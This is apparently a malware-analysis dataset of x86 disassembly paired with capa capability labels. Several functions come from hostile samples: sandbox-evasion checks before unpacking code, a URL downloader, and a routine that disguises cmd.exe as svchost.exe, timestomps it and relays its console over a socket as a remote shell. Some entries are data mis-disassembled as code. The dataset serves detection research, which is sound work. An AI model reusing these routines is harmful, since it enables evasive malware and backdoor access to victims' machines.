joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x401000
Capabilities:
Allocate or change rwx memory
Check for foreground window switch
Check for time delay via gettickcount
Check for unmoving mouse cursor

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x403008]
cmp eax, 0
jne 0x401021
mov eax, dword [0x40300c]
cmp eax, 0
jne 0x401021
jmp 0x4010b6
call sub.KERNEL32.dll_GetTickCount
mov dword [ebp - 4], eax
push 0x1388
call sub.KERNEL32.dll_Sleep
call sub.USER32.dll_GetForegroundWindow
cmp eax, 0
je 0x401021
mov dword [ebp - 0x14], eax
call sub.KERNEL32.dll_GetTickCount
sub eax, dword [ebp - 4]
cmp eax, 0x1388
jl 0x401021
lea eax, [ebp - 8]
push eax
call sub.USER32.dll_GetCursorPos
cmp eax, 0
je 0x401021
mov eax, dword [0x403008]
cmp eax, 0
je 0x401093
push 0x3e8
call sub.KERNEL32.dll_Sleep
lea eax, [ebp - 0x10]
push eax
call sub.USER32.dll_GetCursorPos
cmp eax, 0
je 0x401067
mov eax, dword [ebp - 4]
mov ebx, dword [ebp - 0xc]
cmp eax, ebx
je 0x401021
mov eax, dword [ebp - 8]
mov ebx, dword [ebp - 0x10]
cmp eax, ebx
je 0x401067
mov eax, dword [0x40300c]
cmp eax, 0
je 0x4010b6
push 0x1388
call sub.KERNEL32.dll_Sleep
call sub.USER32.dll_GetForegroundWindow
cmp eax, 0
je 0x401093
cmp eax, dword [ebp - 0x14]
je 0x401093
push dword [0x403000]
mov eax, 0x40301a
mov ebx, 0x40322a
sub ebx, eax
push ebx
push 0x40301a
call fcn.00402bce
lea eax, [ebp - 4]
push eax
push 0x40
mov eax, 0x40112a
mov ebx, fcn.00402bce
sub ebx, eax
push ebx
push 0x40112a
call sub.KERNEL32.dll_VirtualProtect
push dword [0x403004]
mov eax, 0x40112a
mov ebx, fcn.00402bce
sub ebx, eax
push ebx
push 0x40112a
call fcn.00402bce
lea eax, [ebp - 4]
push eax
push dword [eax]
mov eax, 0x40112a
mov ebx, fcn.00402bce
sub ebx, eax
push ebx
push 0x40112a
call sub.KERNEL32.dll_VirtualProtect
inc esp
inc esp
inc esp
inc esp
inc esp
inc esp
inc esp
inc esp
inc esp
inc esp
cmp al, 0x2d
int 0
add byte [esp + ecx - 0x43ffff30], bh
invalid
Function at 0x401000
Capabilities:
Download url
Receive data

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
push esi
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
mov edi, dword [esp + 0x10]
push 0
push 0
push edi
push esi
push 0
call sub.urlmon.dll_URLDownloadToFileA
test eax, eax
je 0x40104a
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call ebx
push 0
push 0
push edi
push esi
push 0
call sub.urlmon.dll_URLDownloadToFileA
test eax, eax
jne 0x401029
pop ebx
pop edi
mov eax, 1
pop esi
ret
pop edi
mov eax, 1
pop esi
ret
Function at 0x100065ff
Capabilities:
Get number of processors

Disassembly:
xor byte [edi], ch
and ah, byte [eax]
js 0x10006672
insb byte es:[edi], dx
outsb dx, byte [esi]
jae 0x10006643
jo 0x10006673
outsd dx, dword [esi]
je 0x1000667d
push esp
cmp eax, 0x31303222
sub eax, 0x30543431
cmp dword [edx], edi
xor dword [eax], edi
cmp dh, byte [edx]
Function at 0x404de5
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x408688
cmp edx, dword [eax]
je 0x404e07
add eax, 8
inc ecx
cmp eax, 0x408718
jl 0x404df8
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x408688]
jne 0x404f35
mov eax, dword [0x408a48]
cmp eax, 1
je 0x404f0f
test eax, eax
jne 0x404e38
cmp dword [0x4085d4], 1
je 0x404f0f
cmp edx, 0xfc
je 0x404f35
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x404e6f
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004032f0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004033f0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x404eb2
lea eax, [ebp - 0x1a4]
push eax
call fcn.004033f0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4065d0
push edi
call fcn.00405720
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004032f0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00403300
lea eax, [ebp - 0xa0]
push 0x4065b0
push eax
call fcn.00403300
push dword [esi + 0x40868c]
lea eax, [ebp - 0xa0]
push eax
call fcn.00403300
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00405697
add esp, 0x2c
pop edi
jmp 0x404f35
lea eax, [ebp + 8]
lea esi, [esi + 0x40868c]
push 0
push eax
push dword [esi]
call fcn.004033f0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x4016ff
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
push edi
mov esi, dword [ebp + 0x10]
mov ebx, esi
add ebx, 0xc8
mov edi, dword [ebp + 0xc]
mov ecx, edi
mov edx, esi
shl edx, cl
mov eax, edi
add eax, edx
cdq
idiv ebx
mov dword [ebp - 8], eax
and dword [ebp - 4], 0
jmp 0x4017bd
and dword [ebp - 0xc], 0
and dword [ebp - 0x10], 0
jmp 0x40173f
add dword [ebp - 0xc], ebx
inc dword [ebp - 0x10]
mov eax, dword [ebp - 4]
cmp dword [ebp - 0x10], eax
jl 0x401739
mov ecx, dword [ebp - 8]
cmp eax, ecx
jne 0x401758
mov eax, dword [ebp + 0xc]
or eax, esi
mov ebx, eax
sub ebx, dword [ebp - 0xc]
or ebx, ebx
je 0x4017cf
and dword [ebp - 0x14], 0
push ebx
push dword [ebp - 0xc]
push esi
call fcn.004016c5
mov dword [ebp - 0x18], eax
push ebx
push dword [ebp - 0xc]
push esi
call fcn.004016c5
mov dword [ebp - 0x1c], eax
mov edi, dword [ebp + 8]
mov edx, eax
xor edx, esi
add edx, edi
push edx
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x24], edx
mov eax, esi
mov dword [ebp - 0x20], eax
mov ecx, edx
or cl, 1
cdq
idiv ecx
mov dword [ebp - 0x28], eax
mov edx, dword [ebp - 0x24]
mov ecx, eax
add ecx, edx
mov edx, ecx
add edx, edi
push edx
call fcn.004016ab
add esp, 0x20
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x7e8
jl 0x401760
inc dword [ebp - 4]
mov eax, dword [ebp - 8]
mov ecx, esi
inc ecx
cdq
idiv ecx
cmp dword [ebp - 4], eax
jle 0x40172f
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40293c
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
imul edx, dword [0x49e030], 0x8088405
inc edx
mov dword [0x49e030], edx
mul edx
mov eax, edx
ret

Function at 0x419a6c
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x419a72
ret

Function at 0x430ad8
Capabilities:
Hash data using sha1

Disassembly:
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], 0xc3d2e1f0
xor edx, edx
mov dword [eax + 0x14], edx
xor edx, edx
mov dword [eax + 0x18], edx
ret
Function at 0x434df0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov bl, 1
mov eax, dword [ebp + 8]
mov esi, dword [eax - 0x18]
dec esi
test esi, esi
jl 0x434f9c
inc esi
mov eax, dword [ebp + 8]
push eax
lea eax, [ebp - 0x10]
mov edx, 5
call fcn.00433c44
pop ecx
test al, al
jne 0x434e35
mov eax, dword [ebp + 8]
mov eax, dword [eax - 0xc]
mov dl, 0xd
call fcn.004350d0
xor ebx, ebx
jmp 0x434f9c
mov eax, dword [ebp + 8]
mov eax, dword [eax - 0x20]
cmp eax, dword [ebp - 0x10]
ja 0x434e54
mov eax, dword [ebp + 8]
mov eax, dword [eax - 0xc]
mov dl, 2
call fcn.004350d0
xor ebx, ebx
jmp 0x434f9c
mov eax, dword [ebp + 8]
mov eax, dword [eax - 0xc]
mov eax, dword [eax + 0x34]
mov eax, dword [eax + 4]
mov edx, dword [ebp - 0x10]
mov edx, dword [eax + edx*4]
mov eax, dword [ebp + 8]
mov eax, dword [eax - 0xc]
mov eax, dword [eax + 0x3c]
call fcn.00446b4c
test eax, eax
jne 0x434e8c
mov eax, dword [ebp + 8]
mov eax, dword [eax - 0xc]
mov dl, 2
call fcn.004350d0
xor ebx, ebx
jmp 0x434f9c
test byte [ebp - 0xc], 1
je 0x434f95
mov eax, dword [ebp + 8]
push eax
lea eax, [ebp - 4]
mov edx, 4
call fcn.00433c44
pop ecx
test al, al
jne 0x434ec0
mov eax, dword [ebp + 8]
mov eax, dword [eax - 0xc]
mov dl, 0xd
call fcn.004350d0
xor ebx, ebx
jmp 0x434f9c
mov edx, 0x431cb0
mov eax, 0xc
call fcn.00403b4c
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x434f68
push dword fs:[eax]
mov dword fs:[eax], esp
mov edi, dword [ebp - 8]
mov eax, edi
mov edx, dword [ebp - 4]
call fcn.00403870
mov eax, dword [ebp + 8]
push eax
mov eax, edi
call fcn.00403710
mov edx, dword [ebp - 4]
call fcn.00433c44
pop ecx
test al, al
jne 0x434f2b
mov edx, 0x431cb0
mov eax, dword [ebp - 8]
call fcn.00403b60
mov eax, dword [ebp + 8]
mov eax, dword [eax - 0xc]
mov dl, 0xd
call fcn.004350d0
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x434f9c
mov eax, dword [ebp - 8]
mov eax, dword [eax]
call fcn.00431158
mov edx, dword [ebp - 8]
mov dword [edx + 4], eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 0xc]
mov eax, dword [eax + 0x3c]
mov eax, dword [eax + 0xc]
mov edx, dword [ebp - 8]
mov dword [edx + 8], eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 0xc]
mov eax, dword [eax + 0x30]
mov edx, dword [ebp - 8]
call fcn.004313f0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x434f95
dec esi
jne 0x434e0b
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x453720
Capabilities:
Hash data with crc32

Disassembly:
push esi
xor esi, esi
mov ecx, 0x49e874
mov eax, esi
mov edx, 8
test al, 1
je 0x45373c
shr eax, 1
xor eax, 0xedb88320
jmp 0x45373e
shr eax, 1
dec edx
jne 0x45372f
mov dword [ecx], eax
inc esi
add ecx, 4
cmp esi, 0x100
jne 0x453728
pop esi
ret

Function at 0x45376b
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, ecx
mov edi, edx
mov ebx, eax
cmp dword [0x49e870], 0
jne 0x453777
call fcn.00453720
push 1
push 0x49e870
call fcn.00405814
mov eax, edi
test esi, esi
je 0x4537a2
mov edx, ebx
and dx, 0xff
xor ecx, ecx
mov cl, byte [eax]
xor dx, cx
movzx edx, dx
mov edx, dword [edx*4 + 0x49e874]
shr ebx, 8
xor edx, ebx
mov ebx, edx
dec esi
inc eax
test esi, esi
jne 0x45377d
mov eax, ebx
pop edi
pop esi
pop ebx
ret

Function at 0x454100
Capabilities:
Hash data with md5

Disassembly:
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
xor edx, edx
mov dword [eax + 0x10], edx
xor edx, edx
mov dword [eax + 0x14], edx
ret
Function at 0x401000
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push ebx
mov ebx, dword [ebp + 0x10]
test ebx, ebx
jle 0x4010e0
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push edi
movzx eax, byte [edx]
shr eax, 2
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx], al
inc ecx
cmp ebx, 2
jle 0x401074
mov al, byte [edx]
movzx edi, byte [edx + 1]
and eax, 3
shl eax, 4
shr edi, 4
or eax, edi
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx], al
mov al, byte [edx + 1]
movzx edi, byte [edx + 2]
and eax, 0xf
inc ecx
shl eax, 2
shr edi, 6
or eax, edi
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx], al
mov al, byte [edx + 2]
inc ecx
and eax, 0x3f
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx], al
jmp 0x4010ca
mov edi, ebx
dec edi
je 0x4010b2
dec edi
jne 0x4010cb
mov al, byte [edx]
movzx edi, byte [edx + 1]
and eax, 3
shl eax, 4
shr edi, 4
or eax, edi
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx], al
mov al, byte [edx + 1]
movzx edi, byte [edx + 2]
and eax, 0xf
inc ecx
shl eax, 2
shr edi, 6
or eax, edi
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx], al
jmp 0x4010c6
mov al, byte [edx]
and eax, 3
shl eax, 4
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx], al
inc ecx
mov byte [ecx], 0x3d
inc ecx
mov byte [ecx], 0x3d
inc ecx
add dword [ebp - 4], 4
sub ebx, 3
add edx, 3
test ebx, ebx
jg 0x40101b
pop edi
jmp 0x4010e3
mov ecx, dword [ebp + 8]
and byte [ecx], 0
mov eax, dword [ebp - 4]
pop ebx
leave
ret

Function at 0x401114
Capabilities:
Encode data using xor

Disassembly:
xor ecx, ecx
cmp dword [esp + 8], ecx
jle 0x40112c
mov eax, dword [esp + 4]
add eax, ecx
xor byte [eax], 0xcd
inc ecx
cmp ecx, dword [esp + 8]
jl 0x40111c
ret

Function at 0x40112d
Capabilities:
Send data
Send data on socket

Disassembly:
push esi
mov esi, dword [esp + 0x10]
push edi
push 1
pop edi
test esi, esi
jbe 0x40115a
push 0
push esi
push dword [esp + 0x18]
push dword [esp + 0x18]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x401158
sub esi, eax
add dword [esp + 0x10], eax
jmp 0x401136
xor edi, edi
mov eax, edi
pop edi
pop esi
ret
Function at 0x40115f
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov ecx, dword [ebp + 0x18]
push esi
mov esi, dword [ebp + 8]
cmp ecx, 0xffffffff
je 0x4011b1
push edi
xor eax, eax
lea edi, [ebp - 4]
mov dword [ebp - 0x108], esi
stosd dword es:[edi], eax
lea eax, [ebp - 8]
mov dword [ebp - 8], ecx
push eax
push 0
lea eax, [ebp - 0x10c]
push 0
push eax
lea eax, [esi + 1]
push eax
mov dword [ebp - 0x10c], 1
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
pop edi
jne 0x4011b1
or eax, 0xffffffff
jmp 0x4011c1
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
call dword [sym.imp.WS2_32.dll_recv]
pop esi
leave
ret

Function at 0x4014e3
Capabilities:
Get common file path

Disassembly:
push 0x104
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x404074
push dword [esp + 8]
call sub.MSVCRT.dll_strcat
push dword [esp + 0x10]
push dword [esp + 0x10]
call sub.MSVCRT.dll_strcat
add esp, 0x10
ret 8

Function at 0x401a9f
Capabilities:
Get file version info
Impersonate file version information

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.00402960
push ebx
push esi
push edi
push 0
push dword [ebp + 8]
call sub.VERSION.dll_GetFileVersionInfoSizeA
mov dword [ebp - 8], eax
lea eax, [ebp - 0x100c]
mov esi, 0x1000
push eax
push esi
push 0
push dword [ebp + 8]
call sub.VERSION.dll_GetFileVersionInfoA
test eax, eax
je 0x401b19
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x100c]
push str.VarFileInfoTranslation
push eax
call sub.VERSION.dll_VerQueryValueA
mov edi, dword [sym.imp.MSVCRT.dll_wcslen]
push esi
mov esi, str.Windows_Command_Processor
push esi
call edi
pop ecx
shl eax, 1
push eax
lea eax, [ebp - 0x100c]
push esi
push eax
call fcn.00401a58
mov ebx, eax
add esp, 0x10
test ebx, ebx
jne 0x401b1d
xor eax, eax
jmp 0x401b71
mov esi, str.Windows
push esi
call edi
lea eax, [eax + eax + 2]
push eax
push esi
push ebx
call sub.MSVCRT.dll_memcpy
add esp, 0x10
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
mov esi, eax
test esi, esi
je 0x401b6e
push dword [ebp - 8]
lea eax, [ebp - 0x100c]
push eax
mov eax, dword [ebp - 4]
mov ax, word [eax]
push eax
push 1
push 0x10
push esi
call dword [sym.imp.KERNEL32.dll_UpdateResourceA]
test eax, eax
je 0x401b6e
push 0
push esi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x401b78
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
lea eax, [ebp - 0x94]
mov dword [ebp - 0x94], 0x94
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x90], 6
sbb eax, eax
inc eax
leave
ret
Function at 0x401e40
Capabilities:
Copy file
Create a process with modified i/o handles and window
Create process on windows
Get common file path
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x274
mov eax, dword [ebp + 0xc]
push esi
push edi
xor esi, esi
push dword [ebp + 8]
mov dword [eax], esi
lea eax, [ebp - 0x170]
push eax
call sub.MSVCRT.dll_strcpy
mov edi, dword [sym.imp.MSVCRT.dll__strlwr]
lea eax, [ebp - 0x170]
push eax
call edi
add esp, 0xc
lea eax, [ebp - 0x274]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x274]
push str.cmd.exe
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x274]
push eax
call edi
lea eax, [ebp - 0x170]
push eax
lea eax, [ebp - 0x274]
push eax
call dword [sym.imp.MSVCRT.dll__mbscmp]
add esp, 0x14
test eax, eax
je 0x401f61
push ebx
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, 0x80
push esi
push ebx
push 3
push esi
push esi
lea eax, [ebp - 0x274]
push closesocket
push eax
call edi
lea ecx, [ebp - 0x18]
mov dword [ebp + 8], eax
push ecx
lea ecx, [ebp - 0x28]
push ecx
lea ecx, [ebp - 0x20]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x170]
push esi
push eax
lea eax, [ebp - 0x274]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
call fcn.00401b78
test eax, eax
je 0x401f27
lea eax, [ebp - 0x170]
push eax
call fcn.00401a9f
push esi
push ebx
push 3
push esi
push esi
lea eax, [ebp - 0x170]
push 0x40000000
push eax
call edi
mov edi, eax
pop ebx
cmp edi, esi
je 0x401f61
cmp edi, 0xffffffff
je 0x401f61
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x20]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0xfffffffffffffff6
call edi
push 0xfffffffffffffff5
mov dword [0x406228], eax
call edi
push 0xfffffffffffffff4
mov dword [0x406224], eax
call edi
mov word [ebp + 8], 0x50
mov word [ebp + 0xa], 0x64
push dword [ebp + 8]
mov dword [0x406220], eax
push dword [0x406224]
call dword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferSize]
push 1
push 0x401e3a
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
push 0x10
xor eax, eax
pop ecx
lea edi, [ebp - 0x68]
mov dword [ebp - 0x6c], 0x44
push 0x10
rep stosd dword es:[edi], eax
mov eax, dword [0x406228]
push esi
mov dword [ebp - 0x34], eax
mov eax, dword [0x406224]
mov dword [ebp - 0x30], eax
mov eax, dword [0x406220]
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x10]
push eax
mov dword [ebp - 0x40], 0x101
mov word [ebp - 0x3c], si
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x6c]
push eax
push esi
push esi
push esi
push 1
push esi
lea eax, [ebp - 0x170]
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
test eax, eax
je 0x402021
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp - 8]
push dword [ebp - 0xc]
mov dword [ecx], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
leave
ret
Function at 0x402026
Capabilities:
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7dc
mov ecx, dword [ebp + 0x10]
push ebx
push esi
xor ebx, ebx
push edi
mov dword [ebp - 4], ebx
call fcn.00401a25
mov esi, eax
mov ecx, dword [ebp + 0x10]
lea eax, [esi + esi*4]
shl eax, 2
push eax
lea eax, [ebp - 0x7dc]
push eax
call fcn.00401a35
cmp esi, ebx
mov dword [ebp - 0xc], ebx
jbe 0x4020bb
lea edi, [ebp - 0x7cc]
cmp word [edi - 0x10], 1
lea eax, [edi - 0x10]
jne 0x402096
mov ecx, dword [edi]
test cl, 8
ja 0x40207e
test cl, 4
ja 0x40207e
xor ecx, ecx
jmp 0x402081
push 1
pop ecx
cmp word [edi - 6], 0x43
jne 0x402096
cmp ecx, ebx
je 0x402096
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GenerateConsoleCtrlEvent]
jmp 0x4020b5
lea ecx, [ebp - 0xc]
push ecx
push 1
push eax
push dword [0x406228]
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
push dword [0x406228]
call dword [sym.imp.KERNEL32.dll_FlushConsoleInputBuffer]
add edi, 0x14
dec esi
jne 0x402064
lea eax, [ebp - 8]
mov dword [ebp - 8], ebx
push eax
push dword [0x40621c]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
test eax, eax
je 0x4020e2
cmp dword [ebp - 8], 0x103
jne 0x4020e2
mov dword [ebp - 4], 1
push 0x71
push ebx
push ebx
call fcn.00401899
add esp, 0xc
mov esi, eax
lea eax, [ebp - 4]
mov ecx, esi
push 4
push eax
call fcn.004018dc
push esi
call fcn.00401ba4
mov dword [esp], 0x12c
push ebx
push dword [ebp + 8]
mov ecx, esi
push dword [ebp + 0xc]
call fcn.0040191f
push esi
mov edi, eax
call fcn.0040181d
cmp dword [ebp - 4], ebx
pop ecx
je 0x40212f
cmp edi, ebx
je 0x40212f
push 1
pop eax
jmp 0x402131
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x402382
Capabilities:
Copy file
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30c
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea eax, [ebp - 0x208]
push 0x4042b0
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
mov edi, dword [sym.imp.KERNEL32.dll_GetTempPathA]
add esp, 0xc
mov esi, str.TEST
push esi
push 0x104
call edi
lea eax, [ebp - 0x208]
push eax
push esi
call sub.MSVCRT.dll_strcat
mov ebx, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
pop ecx
pop ecx
push 0
push esi
call ebx
push str._svchost.exe
push esi
call sub.MSVCRT.dll_strcat
pop ecx
lea eax, [ebp - 0x30c]
pop ecx
push str.en_UScmd.exe.mui
push eax
call fcn.004014e3
lea eax, [ebp - 0x104]
push eax
push 0x104
call edi
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x104]
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x104]
push str.en_US
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
lea eax, [ebp - 0x104]
push 0
push eax
call ebx
lea eax, [ebp - 0x104]
push str._svchost.exe.mui
push eax
call sub.MSVCRT.dll_strcat
pop ecx
lea eax, [ebp - 0x104]
pop ecx
push 0
push eax
lea eax, [ebp - 0x30c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402463
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
push ebx
push esi
call fcn.00402178
call fcn.004021b7
test eax, eax
jne 0x402563
lea eax, [ebp - 0x190]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x402563
cmp dword [ebp + 8], 1
mov ebx, str.TEST
je 0x4024e4
cmp dword [ebp + 8], 5
jne 0x402563
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [sym.imp.MSVCRT.dll_atol]
push dword [esi + 4]
call edi
mov dword [0x40417c], eax
push dword [esi + 8]
call edi
mov dword [0x404180], eax
push dword [esi + 0xc]
call edi
mov byte [0x404184], al
push dword [esi + 0x10]
push ebx
call sub.MSVCRT.dll_strcpy
add esp, 0x14
pop edi
push dword [0x40417c]
xor esi, esi
push esi
push 0x40
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 2
push esi
push esi
push 0x404180
mov dword [0x40621c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
push dword [0x404180]
push dword [0x40621c]
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
call fcn.00402360
test eax, eax
je 0x40252a
call fcn.00402382
push 0x406214
push ebx
call fcn.00401e40
pop ecx
mov dword [0x40621c], eax
pop ecx
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, byte [0x404184]
push eax
push dword [0x404180]
call fcn.00402136
pop ecx
pop ecx
push dword [0x404180]
call dword [sym.imp.WS2_32.dll_closesocket]
pop esi
pop ebx
leave
ret